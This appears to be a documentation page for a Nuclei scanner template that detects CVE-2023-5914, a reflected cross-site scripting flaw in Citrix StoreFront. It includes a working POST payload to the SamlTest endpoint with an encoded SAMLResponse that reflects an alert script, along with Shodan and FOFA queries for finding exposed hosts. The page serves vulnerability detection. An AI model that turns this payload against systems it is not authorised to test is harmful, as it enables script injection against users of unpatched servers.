Citrix StoreFront - Cross-Site Scripting

ID: CVE-2023-5914

Severity: medium

Author: DhiyaneshDK

Tags: cve,xss,citrix,storefront,cve2023,cloud

Description

Reflected Cross-Site Scripting issue which is exploitable without authentication. This vulnerability was exploitable through coercing an error message during an XML parsing procedure in the SSO flow.

YAML Source

id: CVE-2023-5914

info:
  name: Citrix StoreFront - Cross-Site Scripting
  author: DhiyaneshDK
  severity: medium
  description: |
    Reflected Cross-Site Scripting issue which is exploitable without authentication. This vulnerability was exploitable through coercing an error message during an XML parsing procedure in the SSO flow.
  reference:
    - https://www.assetnote.io/resources/research/continuing-the-citrix-saga-cve-2023-5914-cve-2023-6184
    - https://support.citrix.com/article/CTX583759/citrix-storefront-security-bulletin-for-cve20235914
    - https://www.youtube.com/watch?v=t8MeUQrPqec
    - https://nvd.nist.gov/vuln/detail/CVE-2023-5914
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2023-5914
    cwe-id: CWE-79
    epss-score: 0.00095
    epss-percentile: 0.39942
    cpe: cpe:2.3:a:cloud:citrix_storefront:*:*:*:*:ltsr:*:*:*
  metadata:
    max-request: 1
    vendor: cloud
    product: citrix_storefront
    shodan-query:
      - html:"/Citrix/StoreWeb"
      - http.html:"/citrix/storeweb"
    fofa-query: body="/citrix/storeweb"
  tags: cve,xss,citrix,storefront,cve2023,cloud

http:
  - method: POST
    path:
      - "{{BaseURL}}/Citrix/teststoreAuth/SamlTest"
    headers:
      Content-Type: application/x-www-form-urlencoded
    body: "SAMLResponse=q1YKdvT1CUotLsjPK05VskLhBrhHlSVVOpkkhZebJRs7ZUQahVp6ZkYVp7iUVEUaexUkewTmRhkHmkeGV%2bQk5wXm%2bwZn5yZ5BJr7GPtlJefmlKc4R%2bWluBRnBmSVl0XlWpYFpNvaKtUCAA%3d%3d"

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(content_type, "text/html")'
          - 'contains_all(body, "<script>alert(1)</script>", "XmlException")'
        condition: and
# digest: 4a0a004730450220127601675bdaf6f6f4138b7baacbee53e96eba2a00bb9c0869c7db52f62b6ff4022100c7d5f68be31304435e10c7a6abec38f443e5f4a5220d11ce85d79c0cf830e1dd:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

$ nuclei -u "URL" -t "http/cves/2023/CVE-2023-5914.yaml"

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